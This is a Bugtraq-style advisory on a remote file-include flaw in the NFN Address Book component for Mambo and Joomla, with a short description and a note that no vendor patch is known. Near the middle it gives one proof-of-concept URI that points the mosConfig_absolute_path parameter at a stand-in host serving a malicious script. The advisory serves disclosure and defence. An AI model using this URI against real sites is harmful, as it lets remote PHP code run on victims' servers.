NFN Address Book mosConfig_Absolute_Path Remote File Include Vulnerability

Bugtraq ID:	23092
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 21 2007 12:00AM
Updated:	Mar 21 2007 11:03PM
Credit:	Cold z3ro is credited with the discovery of this vulnerability.
Vulnerable:	Mambo NFN Address Book 0.4 Joomla NFN Address Book 0.4
Not Vulnerable:

NFN Address Book mosConfig_Absolute_Path Remote File Include Vulnerability

The NFN Address Book component for Mambo and Joomla is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying systems; other attacks are also possible.

NFN Address Book mosConfig_Absolute_Path Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=http://www,example.com/Evil-script?

NFN Address Book mosConfig_Absolute_Path Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

NFN Address Book mosConfig_Absolute_Path Remote File Include Vulnerability

References:

• NFN Address Book Homepage (NFN Address Book)